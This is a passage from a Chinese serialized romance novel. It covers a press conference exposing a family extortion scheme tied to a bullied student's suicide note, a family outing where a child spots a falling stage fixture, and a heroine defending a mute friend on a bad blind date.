一时间下面围观的人更是炸了锅。
“我说一直觉得这件事这么不对劲,敢情是陆老二见自己大哥家有钱,让自己的二奶和孩子过来敲诈大嫂。”
“真是长见识了,怎么什么事儿都有啊!”
“这个陈南枝和陆老二真不要脸。”
“孩子能配合爸妈这么干,也不是什么好东西。”
……
此时,陈南枝已经被沈玉香按在地上打得鼻青脸肿,宋清殊隔着人群去看站在台上的陆枭。
陆枭脸色发白,神情一片灰败。
如果是平时,见到别人这样对待陈南枝,他一定会冲上去保护自己的母亲。
可现在他没有,他像一个被抽走灵魂的提线木偶,就这样呆呆的看着自己的母亲被人殴打,自己的“生父”被保镖控制在门口。
他的全部人生信念就此崩塌。
这一天,是陆枭生命里最屈辱的一天,他想一死了之。
宋清殊看着面前的这个孩子,只觉得心中恻然。
她自己也是个母亲,知道教孩子向善,要以身作则。
所以她实在理解不了陈南枝。
几次打交道下来,她觉得陆枭是有几分血性的,但他的人生已经被陈南枝带偏,全毁了。
谁知眼前的这一切还不算完。
突然,外面有人说,曹小康的母亲张春玲来了。
第301章 反击(五)
张春玲的出现,让喧嚣的会场安静了一瞬,气氛再度紧绷起来。
她穿着一身素黑的衣服,面容憔悴,但不同于宋清殊见她时的悲伤痛苦,她的眼神异常锐利。
身后还跟着一个女士,那是盛熙川替她安排的手语翻译。
记者们没想到会有这个意外收获,立刻调转镜头,纷纷将设备对准了这个刚刚失去儿子的母亲。
陆夫人被众人围在舞台中央,宋清殊先快步迎了上去:“张女士,您怎么来了?”
张春玲冷冷地环视四周,神情再无怯懦,只有决绝。
她比划,手语翻译替她回答。
“我来讨一个公道。”
张春玲又比划:“今天是小康的头七,我登录他的社交账号,发现了一篇他没有发出去的文章。”
这些人里,张春玲只信任宋清殊,她拿出一部手机,交给宋清殊。
界面是曹小康的微博。
里面有张手机备忘录截图,在微博草稿箱里没有发出去。
时间是曹小康自杀的前几分钟。
也就是说,他本以为自己的微博发了出去,才从楼顶跳下的。
那篇文章,宋清殊从头到尾通读了一遍。
看得出,曹小康的确是个成绩好的孩子,文字功底很好,他简明扼要的就把这件事说清楚了。
虽然没说什么煽情的话,可宋清殊还是看得红了眼睛。
“我可以投屏吗?”她问。
张春玲点了点头。
“她来就是想趁着这个场合,将真相公诸于众的。”手语翻译替她说。
于是,宋清殊将手机上的内容给了工作人员。
大屏幕上的内容,从亲子鉴定变成了曹小康的遗书。
曹小康在开头写道:【这封信发出来的时候,我应该已经不在了。我是个懦弱的人,除了死,想不到其他解决问题的办法。】
之后,他详细描述了自己如何几次三番被一个陌生的社会人威胁,去对陆展说那番话。
【他们监视了我和妈妈,甚至每天能具体到我妈买了什么菜,晚上要做什么菜给我吃。起初他威胁的那些话我是不信的,直到有一天晚上妈妈骑电动车带我回家,被撞倒在地。
那个人跟我说,如果不听他的话,就不是一个小小的事故这么简单了。】
宋清殊能脑补出一个14岁的孩子遇到这种事该有多无助,她胸口发闷。
【这件事里我最对不起的人就是陆展,他什么都没做,却要听我说那样恶毒的话。陆展对不起。】
最后,他又说:【不知道我死了这件事能不能彻底结束,请不要伤害我的妈妈,他真的是很好很好的人。】
全场陷入死一般的沉寂,有一些女孩子已经发出了啜泣声。
陆枭脸色惨白,沈玉香停下了殴打的动作,陈南枝也停止了挣扎,把头埋得更低。
被人牢牢控制住的陆二叔, 脸色青白交加,试图挣脱开钳制跑出去。
不知道谁给了他一脚,陆二叔直接跪到了地上。
沉寂过后又是哗然。
记者们疯狂拍照,闪光灯几乎刺得人睁不开眼。
陆枭浑身发抖,嘴唇哆嗦着,却说不出一个字。
陈南枝终于找回了一点神智,歇斯底里喊道:“假的!今天的这一切都是圈套,都是假的!”
她又扑向陆夫人:“都是你策划的!你就是不想让枭儿进门!”
陆夫人冷笑:“我看你是想别人的钱想到失心疯了,陆枭是你跟谁生的孩子,你自己不清楚?陈南枝,你这样到头来害的是你自己,毁的是陆枭的一生!”
陈南枝还要再说什么,却被陆枭冷冷打断。
“够了!这场闹剧到此为止吧!”陆枭吼道。
他说着,直接冲下台,往门口跑去。
“枭儿!”陈南枝拦他,却被陆枭猛地一推。
“我以有你这样的妈为耻!”
陆枭说着,已经冲出了门去。
陈南枝顿时像被人抽走了灵魂。
陈南枝瘫坐在地上,精致的妆容已经全花了,她头发散乱,眼神呆滞。
像个疯子一样喃喃自语:“完了。不……不是这样的,怎么会这样……”
张春玲冷眼看着这一切,比划道:“我已经把证据提交给了警方,他们很快就会调查清楚,也会马上把嫌疑人陆长鸣和陈南枝带走。”
她转向陆夫人:“陆夫人,您说您会公正处理,那现在,您是不是该给我一个交代?”
陆夫人神色凝重,她缓缓开口:“放心,如果证据确凿,陆家绝不包庇。”
说话间,警察也来了。
他们出示自己的证件,直接将陆二叔和陈南枝带走调查。
陆二叔整个发布会的后半场都在慌乱中度过,临被带走时,突然有了一种回光返照的冷静。
“宋清殊,一定是你做的!我恨你,我一定不会放过你!”他乱喊乱叫。
宋清殊无语。
恶人不怪自己贪婪,为了一己的贪欲,伤天害理,反而恨她拆穿了一切,让他遭报应。
此时,场面已经彻底失控。
陆夫人当机立断,宣布记者发布会结束,并让保安护送张春玲离开。
记者们疯狂围堵,该拍的内容也基本都拍到了。
无关人员陆续被请了出去。
最终,这场闹剧以陆二叔和陈南枝被警方带走调查告终。
陆二叔和陈南枝多行不义,不管面临什么,都是罪有应得。
可怜的是陆枭,他的人生被这对贪得无厌的父母毁了。
“干妈,让人跟上陆枭,免得他做傻事。”她悄声跟陆夫人说。
陆夫人说:“放心, 他出去的时候,我已经安排了。”
这场记者招待会如同一场不见血的厮杀。
很快再次上了热搜。
人人都在谴责陆二叔和陈南枝丧心病狂,为了利益害死了无辜的生命。
也都夸陆夫人做事沉稳大气,有担当。
只用了一场记者招待会,就彻底解决了所有麻烦。
既保全了亡夫的名声,又让真正的恶人自食其果。
而陆展,也从一个校园霸凌的施暴者,成为受害者,终于洗脱了冤屈。
殊不知,宋清殊才是幕后策划这一切的人。
等一切结束后,宋清殊和陆夫人一起坐车回老宅。
车里,陆夫人靠上了她的肩。
第302章 爸爸,你到底会不会谈恋爱
宋清殊任由陆夫人靠着,伸手握住她的手。
陆夫人一直没开口,以至于,宋清殊中途转头看了她一眼,才能确定她既没有哭,也没有睡着。
沉默了半晌,车已经快到了陆家老宅,陆夫人才缓缓道:“小宝,谢谢你。原以为还能多护你几年,没想到自从你干爸去世后,一切都要靠你。
你才20多岁就已经成了干妈的依靠。”
她声音里带了点哭腔。
宋清殊握着陆夫人的那只手收紧。
“能被干妈依靠,我很高兴。”她缓缓说。
这么大一件事,竟然也顺利度过了。
陆家的危机化解之余,还顺便把陆二叔从陆氏集团清理了出去,简直是一举两得。
陆夫人说:“我们运气真的很好,居然赌赢了。”
她也后怕,这件事但凡一个环节出错,那问题就非常大,走向也是不可控的。
好在她们赌赢了,直接把敌人骗进来来杀,让他们再无反转余地。
宋清殊点头:“因为上天也不愿意让颠倒黑白的人得逞。”
陆夫人很欣慰,也很动容,又说起盛熙川:“熙川今天没在现场,但张春玲和沈玉香都是他叫来的。”
宋清殊说:“在这件事上,他的确帮了大忙,我们要好好谢谢他。”
陆夫人想了想:“我原本想安排个宴会的,庆祝展展洗脱冤屈。但毕竟陆长鸣也是陆家人,被带走调查,到底不光彩,我们还是不要太高调。
不如,我请个客吧。就咱们自己人吃个饭。
主要感谢熙川,兰溪和宗辞也回来了,正好聚聚。”
不等宋清殊开口,又说,“对了,你们两个现在一起吃饭,不尴尬吧?”
宋清殊想笑:“我要是说尴尬,您是准备不请了,还是准备请的时候不带我?”
陆夫人道:“那不会,我会让你忍一忍,替我把客人招待好。”
宋清殊无语:“那您还问我。”
陆夫人:“好奇嘛。不过他对你是真的好,如果你们两个之前没有那么一段,只是现在刚认识,你肯定已经沦陷了。”
宋清殊:“知女莫若母。
可我们之前恰好有那么一段,还有了珍珠,所以我现在不能那么草率。”
陆夫人:“其实,当时你为了回国选择嫁他,我是不同意的。但我到底只是个干妈,做不了你的主。
现在如果你要嫁他,我反而放心了。”
宋清殊故意逗她:“是因为他帮了陆家吗?”
陆夫人正色:“干妈认可他如果是因为这个,那干妈这辈子发不了财。”
眼看着陆夫人举起三指就要发誓。,宋清殊吓得一把将她的手攥紧:“干妈,你干什么?咱们母女两个是什么样的情分,用得着说这话?”
陆夫人被她紧张的模样逗笑:“只许你逗干妈,不许干妈逗你?这么霸道呢。”
母女两人说着话,情绪慢慢地从刚才的记者招待会中走了出来。
不管怎么说,这场危机化解的还算漂亮,她们都很庆幸。
宋清殊先送陆夫人回家,自己才回去。
到家时已经是晚上10:00多,珍珠不在。
“刚才闹着要找爸爸睡,盛先生过来把她接走了。”雪姐说。
宋清殊正觉得疲惫,不想哄睡,恰好顺了她的意。
她掏出手机准备给盛熙川发个微信。
这才发现他在20分钟之前就发来了消息,她跟陆夫人说话,没顾上看手机而已。
【今天我带珍珠睡觉,你折腾了一晚上,好好休息吧】他说。
附上一张父女两个的自拍。
他们穿着同款米白色睡袍,暖黄的灯光下,盛熙川抱着珍珠,父女俩额头相抵,眼睛里盛着同样的星光。
宋清殊看着手机屏幕上的照片,指尖不自觉地轻轻摩挲着珍珠的小脸。
跟爸爸在一起,被爸爸爱,是珍珠的执念吧?
这件事不怪孩子。
是她想要一个自己的亲人,一意孤行生下珍珠,却从来没有问过珍珠,想不想降临在一个不完整的家庭里。
在这方面,她对珍珠永远亏欠。
“叮——“
新消息提示音打断了她的思绪。
【怎么一直没有回复?按理说你应该已经到家了吧】盛熙川问。
宋清殊想了想,干脆拨了个视频过去。
对方没接通时,屏幕上只有她自己的脸,嘴角上扬的模样,让她自己都愣了一瞬。
现在这样的相处模式,不止珍珠,她也很喜欢。
这个认知让她耳尖微微发热。
视频接通时,盛熙川和珍珠靠在床头坐着,父女两个一样的姿势。
宋清殊看着,越发觉得基因的强大。
珍珠那样圆圆的小肉脸,已经能看出酷似盛熙川的五官。
为了同时出现在镜头里,珍珠趴在盛熙川肩上。
盛熙川稳稳托住女儿,目光却穿过屏幕落在宋清殊脸上,“累不累?“
简单的三个字,却让宋清殊鼻尖一酸。
累倒是其次,主要是神经紧绷,此刻盛熙川一问,她突然松懈下来。
“还好。“她垂下眼睫,声音不自觉地软了几分,“珍珠在爸爸那里要乖一点。”
珍珠凑过来:“放心吧,妈妈,我又不是三岁小孩。”
宋清殊:“是,你三岁半。”
她又要被珍珠人小鬼大的模样逗笑。
“不,妈妈。按心理年龄算我20岁。”
宋清殊:“行,算你20岁,算你30岁,妈妈叫你姐都行。
但是珍珠女士,你平时这个时间不都睡觉了吗?”
珍珠:“第一次在爸爸的新家睡,比较亢奋,有点失眠。”
宋清殊:“……失眠怎么办?要不你回来。”
珍珠:“不要!我好了,不失眠了,现在就睡!”
她闭上眼睛假装打鼾。
盛熙川和宋清殊一起笑起来。
笑完,盛熙川说:“哪里来的小猪?什么声音?”
珍珠睁眼,对盛熙川怒目而视:“你过分了,爸爸!”
盛熙川:“爸爸又没说你,你是不是心虚?”
宋清殊望着屏幕那头斗嘴闹作一团的父女,胸口泛起奇异的暖意。
她干咳了一声,主动转移话题:“干妈说要请你吃饭。“
“我知道。“盛熙川轻轻拍着又闭上眼的珍珠,“陆夫人刚才给我发消息了。“
“嗯。”
说完这些,两人又没什么话说了。
他们隔着屏幕凝视彼此好一会儿。
宋清殊先开口:“那……我去洗漱睡觉了。”
盛熙川:“好。”
视频挂断,珍珠又睁开眼,很是不满。
“就这样?爸爸,你到底会不会谈恋爱呀!”
第303章 珍珠的表情包
珍珠坐起身,看着盛熙川一副怒其不争的模样。
盛熙川失笑:“那我该怎么办?”
“你好歹要说两句情话吧。”
珍珠学他打电话的模样,一本正经,故作深沉:“我知道,嗯,好。”
她的小模样,逗得盛熙川忍俊不禁。
他怕珍珠着凉,拿了个毯子将她裹成蚕宝宝,又平放在床上:“刚才爸爸那么严肃呢?”
珍珠点头,无情吐槽:“明明心里喜欢妈妈喜欢的要死,说话的语气却活像妈妈欠了你八百万。”
盛熙川:“……”
哪有那么夸张。
“我这难道不是成年人正常的交流语气?”
珍珠手脚都在毯子里,只露一颗毛茸茸的头,像一只被包住的小猫。
即便这样,也不耽误她翻了个白眼:“你是想跟妈妈更进一步,还是想跟其他人一样正常交流?”
盛熙川:“那还用问?”
珍珠:“那你就不该这么冷淡,妈妈是钢铁直女,你难道要指望她热情?”
盛熙川看着女儿,眉头直皱。
他终于理解宋清殊为什么会嫌她太成熟了。
这个人小鬼大的小家伙,真的很让人难以招架。
他说不过女儿,伸手关床头灯。
“睡觉,以后少看点偶像剧。”
珍珠在黑暗中“切”了一声,总算没有再发表出什么惊世骇俗的言论来。
黑暗中,盛熙川一边拍着珍珠的背哄睡,一边反思。
他刚才的语气很严肃吗?
宋清殊会不会多想?
她虽然在男女关系方面少根筋,但胜在人聪明通透,应该不至于会想歪。
她知道自己对她好。
耳边,珍珠呼吸声渐沉,一点点睡实了。
盛熙川反而开始失眠。
他今天一直在场外“打辅助”,没见到宋清殊,刚才那个视频,让他莫名的更加想她。
说不出心里是什么感受,盛熙川有一瞬间觉得自己人生的前三十年都白活了。
他如今31岁,有了一个三岁半的女儿,吃过了爱情的苦,也渐渐知道了如何正确地去爱一个人。
只可惜了宋清殊,在那样大好的年华被他用来练手,伤了个彻底。
摸出手机,盛熙川盯着他和宋清殊的对话框发呆。
那边像有心灵感应似的,突然发了个消息过来。
【珍珠半夜睡醒了可能会找人,你能哄就哄住,哄不住给我打电话,我接她回去】宋清殊说。
平平常常的一句话,愣是让盛熙川读出了关心他的意思,让他不要为难。
他回:【之前还跟我住过临江别墅,不也哄住了。放心吧。】
宋清殊:【那时候离得远,她也不好作闹,现在离得近了,可说不好。】
盛熙川:【作就作,闹就闹,自己的女儿自己宠】
附带一个珍珠的Wink表情包。
宋清殊惊喜:【你什么时候拍的?】
盛熙川:【挺长时间了,可爱吧。】
宋清殊火速保存,说:【可爱,还有吗?】
她感慨自己在这方面都没有盛熙川细心,从来没想过用珍珠做表情包。
盛熙川:【有好多,准备好了吗?3-2-1】
他倒计时,接着,发了几十上百个表情包过去。
宋清殊那边很长时间没回复,以至于盛熙川以为她睡着了。刚想说,你困了就睡。
谁知,她那边只是在存图。
一直过了十几分钟,宋清殊才说:【盛熙川,你是个好爸爸】
被夸谁都高兴,盛熙川强压下心中的悸动,告诉自己,不要得意忘形。
他说:【错过了太多,只能尽力弥补吧】
又想起刚才珍珠说自己反应太过冷淡,赶忙找补,关心道:【你怎么样,今天是不是很累?】
他实在紧张,想好好表现,竟然不记得这话电话里明明问过了。
宋清殊:【还可以,刚才有点累,现在躺下已经好多了。多谢你一直在帮我】
又是要命的客气。
盛熙川赶忙道:【那天怎么说来着?请端正你的态度,宋清殊,是我亏欠你,所以,以后使唤我的时候,请你霸气一点,再这么见外,我真的要生气。】
看着屏幕上的字,宋清殊又好一会儿没有回复。
她都不知道自己为什么主动发这个微信给盛熙川,毕竟,珍珠也不是第一次跟他过夜了,没什么不放心的。
也许是刚才的视频氛围太好,多少有点意犹未尽。
可后面聊的这些,让她更加睡不着了。
特别盛熙川做的那些珍珠的表情包,真的非常打动她。
忘了从哪儿看过这么一句话——
女人嫁人,本质上是在挑选未来的孩子父亲。
盛熙川不是个合格的丈夫,可他的确是个好父亲。
她盯着手机屏幕,又是很长一段时间的沉默。
盛熙川都习惯了她断片似的聊天方式,一句都不催。
良久,宋清殊才说:【就算我永远不回到你身边去,你都不会后悔自己的付出吗?】
盛熙川:【既然是弥补,那针对的就是过去做得不好的地方,我要感谢你给我这个机会,而不是道德绑架你。
你永远有选择自己生活方式的权利】
看着这行字,宋清殊又是良久的沉默。
【困了,睡觉吧。】她说。
【晚安。】盛熙川适时退让。
他觉得现在两个人可以聊的内容越来多了,他很知足。
宋清殊回了个珍珠小朋友的晚安表情包,给手机熄了屏。
她关了床头灯,在黑暗中安静的躺着。
她知道,自己的坚持已经没什么意义。
甚至不用等到所谓的圣诞节。
她心里摇摆的天平早已经向盛熙川的方向倾斜,特别是,他还拉拢了珍珠这个最重的筹码过去。
差不多就这样吧,找个合适的时机复合。
她唯一遗憾的,就是没有体会过恋爱的快乐。
不打紧,天崩开局的亲密关系能处理成这样已经很厉害了。
她总不能像读书似的小孩子那样,再跟盛熙川从牵牵小手开始。
虽然,她是真喜欢那种单纯的牵牵小手的感情。
珍珠一晚上没闹,也可能是闹了又被盛熙川顺利安抚好。
反正是第二天才被送回来,看上去睡得很不错。
宋清殊又留盛熙川吃早餐。
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第304章 看表演
宋清殊和珍珠的早餐一向简单,今早是蟹粉小笼配白粥。
盛熙川自己家里有厨子,口味向来挑得很,可也奇怪,他在宋清殊家里,吃什么都觉得好吃,非常合口味。
三人在大桌吃饭,两位保姆在小桌。
盛熙川照例一边吃一边照顾珍珠。
珍珠明明是个能独立吃饭的孩子,一到爸爸怀里就变成小废物。
她的变化,宋清殊和保姆都发现了。
宋清殊也怕说多了她不好意思,已经开始睁一只眼闭一只眼了。
吃着饭,盛熙川突然问:“你下午有空吗?”
“怎么?”
“之前不是说珍珠要减肥,今天准备带她去户外逛逛,正好逛完晚上去跟陆夫人吃饭。”盛熙川说。
珍珠在盛熙川怀里,看似漫不经心的咀嚼着嘴里的小笼包,实则早就竖起了耳朵等她的答案。
宋清殊想了想,今天是周六,确实没什么事。
“有空,我们几点出发?”她问。
“ 3:00吧,逛两个小时,再去喝个咖啡,6点钟去跟陆夫人汇合。”
这个安排挺合理,3个小时的相处时间不至于过久让人觉得倦,又有珍珠在,也不会尴尬。
“好。”
三人说定了。
盛熙川吃完早饭,又在门口跟珍珠腻歪了好一会儿才离开。
雪姐和芝姐也忍不住调侃两句。
雪姐说:“之前只在电视上看见过盛先生,没想到一点架子都没有,还这么会照顾孩子。”
宋清殊心说,再没有比盛熙川架子大难相处的了,只是他当着女儿,不想把这一面表现出来罢了。
但说出来像故意诋毁他似的,她还是选择了闭嘴。
芝姐附和:“真是人比人得死,货比货得扔。想想我们在那口子,分儿币没有,对孩子都没盛先生这么上心。”
宋清殊:“您孩子都上大学了,又不是小宝宝,珍珠还小,自然要用心一点。”
芝姐摆手:“跟那没关系,是一个人有没有责任感,和瞧不瞧得起你的问题。
过去,我跟孩子他爸三天两头打架,半辈子不和睦,现在我在你这儿工作,五险一金,一个月赚好几万,在家都横着走,他要看我脸色。
我要年轻的时候就挣这么多,我跟他?”
芝姐的话把宋清殊和雪姐都逗笑了。
寻常人家的夫妻,爱不能当饭吃,自然是谁赚得多,谁有话语权。
只有他们这种不差钱的,才会一把年纪纠结爱与不爱的问题。
宋清殊能理解。
“那等年底多给你发点奖金,让你回去再震慑一下姐夫。”她笑道。
珍珠:“芝阿姨,有我妈妈在,你可以一直横着走。”
芝姐当时就把珍珠抱起来,亲了一口。
四人说说笑笑,盛熙川这茬才算过去。
下午,盛熙川自己开车过来接她们。
宋清殊怎么也没想到,他所谓的“逛逛”,这么接地气。
盛熙川带她和珍珠逛公园。
周六下午的公园里,有不少活动的市民。
下棋的,一边跳广场舞一边直播的,用无线音响放音乐唱歌的,舞龙,舞剑的,简直一应俱全。
还有几个小朋友穿着旱冰鞋围成一圈轮滑,看上去无比帅气。
他们三个,像寻常的一家三口那样,围着公园漫无目的地走,路过一个儿童乐园区,宋清殊忍不住对盛熙川使眼色。
“诺,珍珠小朋友最讨厌的三件套,集齐了两件。”
盛熙川转头,看见了旋转木马和儿童过山车。
他噗地乐出声来。
“谢谢珍珠小朋友,为了迁就爸爸,陪爸爸坐旋转木马。”
珍珠尴尬:“我当时还不是为了增进父女感情。爸爸妈妈,你们两个怎么这么促狭?”
她的词汇量又刷新了,连“促狭”都会用了。
盛熙川先投降:“爸爸错了。”
前面有个表演馆,有几个大人牵着孩子的手在排队。
宋清殊看了一眼节目牌:《奥特曼大战哥斯拉》,时长20分钟。
“你要去感受一下吗?”宋清殊问。
又小心翼翼地补充:“学习一下你这个年龄段的孩子看到儿童表演应该什么反应。”
她觉得珍珠在外人面前不说话,很多时候都是怕暴露智商。
别人是怕暴露低智商,真是怕自己太聪明被当异类。
所以有时候她会刻意去学一些这个年龄段遇到特定的情况应有的反应,用来伪装。
珍珠突然来了个冷幽默:“这个我会。”
她举起双手,兴奋地跺脚:“奥特曼,加油加油!奥特曼赢了,耶!”
珍珠长得珠圆玉润,比这个年龄段的小朋友甚至看上去更幼稚可爱。
可她刚才的举动,就像一个刚变成小孩的成人,很刻意,也很违和。
“还是去看看吧。”盛熙川憋笑,扯了她的手。
珍珠倒是无可无不可。
跟着盛熙川过去买了票。
经过检票口的时候,工作人员递了一个女奥特曼的面具给珍珠,企图给她戴上。
珍珠猛地一躲,这也太幼稚了。
工作人员佯装失落,另一位工作人员说:“小朋友不喜欢尤利安吗?我们还有贝斯,奥特之母,玛莎和索拉,你喜欢哪一个?”
珍珠用眼神回复:我喜欢你拿远一点。
工作人员强行给自己挽尊:“可能小女孩不太喜欢这些,小男孩比较喜欢。”
宋清殊看工作人员太尴尬,赶忙江湖救急:“给我吧,我喜欢奥特曼,他们陪我看的!”
工作人员松了口气,开开心心把面具给了宋清殊。
他们买的VIP座位,坐在最前面,离舞台只有一米远。
即便这样,三人一起也不过花了150块。
表演给三到六岁儿童的节目,三个人都不抱什么期待,宋清殊是想珍珠多接触同龄人,而盛熙川和珍珠要的是这种三个人一起看表演的感觉。
不出所料,两个演员穿着廉价的充气服装就上场了。
打斗的动作也非常塑料,都是随手比划两下的花架子。
但旁边的小朋友一个个叽叽喳喳,兴奋极了。
都在大声为奥特曼加油。
其中一个小女孩,甚至在奥特曼倒下时大声哭了出来。
“宝宝,不哭,奥特曼一定会胜利的。”她的妈妈柔声安抚她。
宋清殊望过去,在心里感慨,她曾经以为自己也会生一个这样的女儿。
又转回来看珍珠。
发现她正面无表情,甚至还有点想笑。
“好幼稚,哥斯拉快漏气了。”珍珠说。
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第305章 你老公真好
宋清殊望过去,充气哥斯拉好好的,哪里有要漏气的迹象。
显然盛熙川也好奇珍珠怎么得来的结论,但两人都不说话,等着见证“奇迹”的时刻。
奥特曼倒下,算是这场儿童表演的一个小高潮,拉动小朋友的情绪。
此时,周围不少小朋友都站了起来。
情绪激动地大喊:“加油,加油!”
刚才在哭的那个可爱小孩也不哭了,直接冲到了舞台边缘去,拉哥斯拉的尾巴。
公园内的演出馆,没有那么强的秩序,早在刚开始,舞台的两侧就爬上去了不少小朋友。
“小心!”珍珠低呼,又推一把盛熙川,“爸爸,救她!”
盛熙川不明所以,执行力却很强,一个箭步冲上去,把小女孩抱到旁边。
舞台顶部一个三角形的贴片落下来,堪堪砸在哥斯拉尾巴上。
也就是那一瞬间,哥斯拉漏气了。
顿时,怪兽变成了一张没有灵魂的塑料皮,所有小朋友都没了刚才的兴致。
场内出现小规模的骚动。
“很抱歉,我们演出过程中出现了一点小小的状况……”主持人上台解释,安抚。
此时,小女孩的妈妈早已冲过来,明显心有余悸。
“谢谢您,先生,要不是您,那块铁就砸到她了。”那位妈妈吓得已经飚出了眼泪,对着盛熙川千恩万谢。
小女孩在盛熙川怀里一脸懵懂,根本不知道发生了什么。
“不用客气,出门在外还是看好孩子。”盛熙川说,把小女孩交还给那位妈妈。
因为这场不大不小的事故,演出紧急叫停。
此时,已经开始有人吵着要退票。
几个工作人员过来维持秩序,一群家长带着孩子排队等退票。
“太吵了,我们走吧。”珍珠说。
盛熙川和宋清殊没人在乎那点票钱,被珍珠一左一右拉了手,往外走去。
“珍珠,你是什么时候发现有问题的?”
宋清殊都佩服自己,明明每次跟珍珠讨论这些都忍不住头皮发麻,却还是想知道。
珍珠:“从一进门开始,我就看到了那块铁,觉得不安全。那个小朋友冲上去的时候,又正好在那块铁皮的下面。仅此而已。”
……只是这样吗?
宋清殊自认为是个观察能力很强的人,却的确没注意到那块要掉下来的铁皮。
珍珠反问她:“不然呢,妈妈,你该不是觉得我未卜先知,又看到了画面吧?”
宋清殊尴尬。
她的确是这么想的,不然也不可能问。
珍珠煞有介事:“妈妈你不要迷信,我如果连这个都能看到,那一定会拒绝进表演馆。这件事并没有那么玄学,只能说我的观察力和直觉都比普通人强一点吧。”
……强得何止一点,简直让人刮目相看。
但宋清殊也因此悟了一件事:很多所谓的先知,很有可能只是比普通人更敏锐。
毕竟大多数普通人,已经被生活蹉跎了太久,别说第六感,就是普通的五感:眼、耳、口、鼻、舌,都已经没那么好用了。
但珍珠和王千巽,恰好是没有被污染的那一批人,他们拥有超乎常人的观察力,配合比普通人更强的第六感,便像极了超能力。
盛熙川赞同珍珠的话,笑道:“你忘了珍珠小朋友的名言了吗?”
排除一切不可能因素,剩下的就是真相。
“今天救了一个小朋友,免于她被砸伤,你的‘超能力’也算是有用武之地了。”宋清殊摸珍珠的头。
珍珠:“能被我救,证明她命里没有这一劫,只是有惊无险罢了。”
宋清殊:“刚才是哪位小朋友告诉我不要迷信的?”
毕竟没人受伤,三人有说有笑从表演馆出来,倒是也没受什么影响。
巧合的是,在公园里,她们又遇到了那个小朋友和她妈妈。
小朋友显然没搞清楚状况,也并不害怕。
她拉了妈妈的手,正在买氢气球。
那位妈妈看见了他们,便多买了一个气球让小女孩拿给珍珠。
“刚才真是谢谢你们了。”她又说。
珍珠不喜欢这种幼稚的东西,却也不好驳这对母女的面子,接过去道了声谢。
那位妈妈跟宋清殊攀谈问珍珠年龄,得知她三岁半后,让小女孩叫她姐姐。
“果果,你问问姐姐愿不愿意跟你玩滑梯,你们可以去玩一会儿。”她指着不远处的滑梯说。
这种活动,珍珠向来嫌幼稚,可这次也许是感受到了小女孩的善意,也许是靠自己的感知力救了人,有成就感,竟然没有拒绝。
“那我就陪你玩一会儿吧。”珍珠点点头说。
小女孩很高兴,拉了珍珠的手就往滑梯的方向跑。
盛熙川不放心,直接跟了过去。
留宋清殊和那位妈妈站在原地说话。
“你老公真好,一看就是个好爸爸,长得还这么帅。”那位妈妈由衷夸道。
宋清殊有点尴尬,她不好承认,也不好否认,毕竟跟这位女士是初识,实在没必要说那么清楚。
于是,她只是笑了笑。
那位妈妈又说:“不过你老公好眼熟啊,是明星吗?”
可不是眼熟吗?盛熙川本地新闻都上了多少次了!
宋清殊紧张,赶忙说:“你看错了吧,他大众脸。”
那位妈妈将信将疑,却还是说了很多夸奖的话。
夸宋清殊眼光好,有福气。
“跟这样一个会照顾孩子的男人在一起,您一定很幸福吧。”她说。
宋清殊脸热,总觉得说什么都不合适。
谁来救救她啊,她真的好尴尬。
好在珍珠和那位叫果果的小朋友并没有玩多久,她们滑了两趟滑梯就回来了。
“妈妈不是说5点钟要去喝咖啡。”珍珠提醒。
显然比起幼稚的儿童滑梯,她更期待像个成年人一样跟爸爸妈妈一起喝咖啡。
尽管到了咖啡厅,她也只有喝牛奶的份。
但跟爸爸妈妈在一起怎么都开心。
她们一回来,宋清殊这才得以脱身,跟那位妈妈说了再见。
“你怎么脸这么红?”盛熙川发现了异样,出言问。
宋清殊不好说是因为被刚才那位妈妈聊的,只能随口扯谎。
“可能天有点热吧。”她说。
殊不知,一起看演出的人里早就有人认出了他们,直接发到了网上。
第306章 替王岁岁解围
三人在公园的时间并不长,还没到5点就到了咖啡厅。
刚进门,只听珍珠道:“那不是岁岁阿姨吗?”
宋清殊和盛熙川同时望过去,便看到了坐在角落里的王岁岁,和她对面一个侃侃而谈,正说的唾沫横飞的男的。
听那个男人的话题,像是个相亲局。
“岁岁阿姨现在不方便,我们先别打扰她。”宋清殊说,拉了珍珠坐在不远处。
盛熙川和宋清殊都点了咖啡,给珍珠点了杯热牛奶。
三人原本只是想聊聊天,谁都没有偷听那桌讲话的意思,奈何那个男人的声音实在太大了。
“我最讨厌叽叽喳喳的女人,你不会说话也没什么,正好不招人烦。”
听听,这是什么话?
既讨好不了王岁岁,又得罪了其他会说话的女人。
“但毕竟你情况比较特殊,我爸妈不见得愿意,所以彩礼这方面,我们家估计是不会给。
嫁妆的话,你这边还是要给一点,还是那句话,你情况比较特殊,要想让家里长辈接受,妆奁还是要丰厚一点,我看你哥开迈巴赫,到时候赔嫁个宝马X5应该不过分吧?”
别说宋清殊了,这次珍珠都站起来往那边看了一眼。
“癞蛤蟆想吃天鹅肉。”珍珠吐槽。
男人显然已经沉浸在了自己的幻想里,又问:“对了,你这种情况会遗传吗?结婚前还是得做个病理检测吧?”
说完这些,他才有短暂的停顿,应该是在等王岁岁打字。
两分钟后,男人破防,站起身来。
“你居然拒绝我?你以为自己很有优势吗?长得再漂亮有什么用,还不就是个哑巴!
我都不嫌弃你,要娶你了,你还挑剔起我来了?说实话,要不是素月介绍的,今天我来都不会来!”
男人本身嗓门就大,因为破防,声音更大。
引得不少人侧目,此时,王岁岁也站起身来。
宋清殊看到了王岁岁因为难堪涨红的脸。
她忍不了,大步走了过去,直接将王岁岁护在了身后,对相亲男道:
“怎么,相亲还不许人看不上你了?没想到你长得这么随心所欲,做起梦来更是天马行空。许愿就去庙里,别在这儿现眼。”
宋清殊此言一出,旁边好几桌竖着耳朵看热闹的人都笑出了声。
相亲男觉得丢脸,对她怒目而视:“你谁啊你?多管闲事!”
宋清殊:“我是她姐姐,你有什么事可以跟我说。”
“胡说,她就一个哥,还不是亲的,哪有姐!”那男人说。
宋清殊挑了挑眉:“知道的还挺清楚,怎么,你是觉得你配得上我们岁岁吗?”
那男人好像觉得这个问题很好笑,脸上的肌肉抽了抽。
“她一个哑巴,我不嫌弃她已经不错了……”
旁边一个女孩也看不过去了,索性站起来加入:“人家不会说话怎么了?还不是比你好看一百倍!你该不会觉得,人家又漂亮家庭条件又好,只是因为不会说话,就要找你这种货色吧?”
“就是!你就差把吃绝户写脸上了,真好意思!”另一个女孩说。
“还嫌别的女人吵闹,好像我们吵闹的就看得上你似的!”又一个女孩说。
